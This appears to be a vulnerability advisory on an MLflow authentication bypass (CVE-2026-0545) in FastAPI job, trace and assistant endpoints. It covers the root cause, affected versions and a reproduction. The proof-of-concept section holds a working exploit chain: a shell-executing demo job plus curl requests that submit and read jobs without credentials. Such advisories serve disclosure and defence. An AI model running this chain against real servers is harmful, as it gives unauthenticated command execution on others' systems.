Introduction
An authentication bypass in MLflow's FastAPI job endpoints lets any unauthenticated network client submit and execute arbitrary jobs on servers configured with basic auth, turning a "protected" MLflow deployment into an open execution platform. With a CVSS score of 9.1 and a trivial exploitation path, this flaw is a serious risk for organizations running MLflow in production with job execution enabled.
MLflow is a widely adopted open source platform for managing the machine learning lifecycle, covering experimentation, reproducibility, deployment, and a central model registry. Databricks introduced it in 2018, and thousands of organizations now use it to track experiments and manage model deployments.
Technical Information
The vulnerability comes from how MLflow's authentication middleware routes requests for FastAPI endpoints versus traditional Flask endpoints. When the server starts with --app-name basic-auth, Flask routes enforce authentication and return 401 responses to unauthenticated requests. FastAPI routes under /ajax-api/3.0/jobs/* bypass authentication entirely and return 200 OK without credentials.
Root Cause
The architectural root cause is the _find_fastapi_validator() function in mlflow/server/auth/__init__.py. This function selects the authentication validator based on the request path. The vulnerable implementation only returned a validator for paths beginning with /gateway/, and returned None for every other FastAPI route:
def _find_fastapi_validator(path): if path.startswith("/gateway/"): return _get_gateway_validator(path) return None # <-- No auth check for non-gateway FastAPI routes!
When the validator is None, the authentication middleware just calls await call_next(request) without any authentication check, so the request reaches the endpoint handler unauthenticated.
Two more architectural issues make the gap worse. First, in fastapi_app.py, the job_api_router is included in the FastAPI application without any authentication dependencies. Second, the security initialization in fastapi_security.py only configures Cross Origin Resource Sharing, host validation, and security headers. It does not enforce authentication.
Scope of the Bypass
The bypass extends beyond the Job API. The same flaw affects:
- The OTEL Traces API at
/v1/traces, allowing unauthenticated injection of trace data - The Assistant API at
/ajax-api/3.0/mlflow/assistant/*
Any FastAPI route that does not start with /gateway/ was left unprotected.
Exploitation Prerequisites
Exploitation requires two server configuration conditions:
- Server side job execution must be enabled via the
MLFLOW_SERVER_ENABLE_JOB_EXECUTION=trueenvironment variable. - At least one job function must be allowlisted using either the supported job function list or the allowed job name list.
Attack Flow
Once these conditions are met, the attack is straightforward:
- The attacker sends a POST request with a JSON payload containing the job name and parameters to the
/ajax-api/3.0/jobs/endpoint, without any Authorization header. - The authentication middleware calls
_find_fastapi_validator(), which returnsNonefor this path. - The middleware skips authentication and forwards the request to the job handler.
- The server executes the job and returns a job ID in a 200 OK response.
- The attacker uses the job ID to fetch execution results via a GET request to
/ajax-api/3.0/jobs/<job_id>, again without credentials.
If the allowlisted job performs privileged actions such as shell command execution or filesystem changes, this chain gives unauthenticated remote code execution. Even if the jobs are safe, the bypass still enables job spam, denial of service, and data exposure through job results.
Proof of Concept
A public proof of concept is available in the Huntr bounty report. The following steps reproduce the full exploitation chain.
Step 1: Set up the environment and a demo job function
TEST_ROOT=/tmp/mlflow_job_clean rm -rf "$TEST_ROOT" mkdir -p "$TEST_ROOT/artifacts" "$TEST_ROOT/logs" cat > "$TEST_ROOT/basic_auth.ini" <<'INI' [mlflow] default_permission = NO_PERMISSIONS database_uri = sqlite:////tmp/mlflow_job_clean/basic_auth.db admin_username = admin admin_password = password1234 authorization_function = mlflow.server.auth:authenticate_request_basic_auth INI cat > "$TEST_ROOT/demo_job.py" <<'PY' from mlflow.server.jobs import job import subprocess @job(name="run_task", max_workers=1) def run_task(command="id"): return subprocess.check_output(command, shell=True).decode() PY
Step 2: Start MLflow server with basic auth and job execution enabled
MLFLOW_AUTH_CONFIG_PATH=/tmp/mlflow_job_clean/basic_auth.ini \ MLFLOW_FLASK_SERVER_SECRET_KEY=test-secret-key \ MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true \ _MLFLOW_SUPPORTED_JOB_FUNCTION_LIST=demo_job.run_task \ _MLFLOW_ALLOWED_JOB_NAME_LIST=run_task \ PYTHONPATH=/tmp/mlflow_job_clean \ mlflow server --app-name=basic-auth --host 127.0.0.1 --port 5590 \ --backend-store-uri sqlite:////tmp/mlflow_job_clean/backend.db \ --default-artifact-root /tmp/mlflow_job_clean/artifacts
Step 3: Confirm Flask routes enforce authentication (returns 401)
API=http://127.0.0.1:5590 curl -i "$API/api/2.0/mlflow/experiments/list" # => 401 Not authenticated
Step 4: Submit a job WITHOUT any Authorization header (returns 200)
curl -i -H "Content-Type: application/json" \ -d '{"job_name":"run_task","params":{"command":"id"}}' \ "$API/ajax-api/3.0/jobs/" # => 200 with job_id — authentication bypassed!
Step 5: Read the job result WITHOUT Authorization
JOB_ID=<job_id_from_step_4> curl -i "$API/ajax-api/3.0/jobs/$JOB_ID" # => 200 with result (e.g., output of the `id` command)
A second Huntr report showed that the bypass also reaches OTEL trace injection at /v1/traces, using a Python script that sends a forged protobuf ExportTraceServiceRequest without credentials and receives a 200 response. The Assistant API at /ajax-api/3.0/mlflow/assistant/* is affected the same way.
Affected Systems and Versions
MLflow version 3.9.0 and earlier running under uvicorn (the default in MLflow 3.x) are affected. The vulnerability is present when all of these conditions are met:
- The server is started with
--app-name basic-authto enable authentication - The
MLFLOW_SERVER_ENABLE_JOB_EXECUTIONenvironment variable is set totrue - At least one job function is allowlisted via
_MLFLOW_SUPPORTED_JOB_FUNCTION_LISTor_MLFLOW_ALLOWED_JOB_NAME_LIST
The OTEL Traces API and Assistant API bypass components do not require job execution to be enabled. They are exploitable on any MLflow instance using basic auth with the affected FastAPI routing.
Vendor Security History
Recent CVEs show a pattern of high severity flaws in the MLflow platform:
| Vulnerability ID | Type | CVSS Score | Impact |
|---|---|---|---|
| CVE-2024-0520 | Path Traversal | 8.8 | Remote code execution via OS command injection |
| CVE-2025-11200 | Weak Password Requirements | 9.8 | Complete authentication bypass |
| CVE-2025-15036 | Path Traversal | 9.6 | Arbitrary file overwrite and privilege escalation |
| CVE-2026-0596 | Command Injection | 9.6 | Privilege escalation via model serving |
Given how often critical vulnerabilities turn up in MLflow, deploy it behind strong security gateways and network segmentation rather than exposing it directly to the internet.
References
- NVD: CVE-2026-0545
- Huntr Bounty Report (raltheo): Authentication Bypass in Job API
- Huntr Bounty Report: OTEL Traces and Assistant API Bypass
- MLflow GitHub PR #20920: Fix for FastAPI Authentication Bypass
- MLflow Source: fastapi_app.py (vulnerable version)
- MLflow Source: fastapi_security.py (vulnerable version)
- MLflow Tracking Server Documentation
- MLflow: What is MLflow
- Databricks Blog: Introducing MLflow
- NVD: CVE-2024-0520
- NVD: CVE-2025-11200
- NVD: CVE-2025-15036
- NVD: CVE-2026-0596



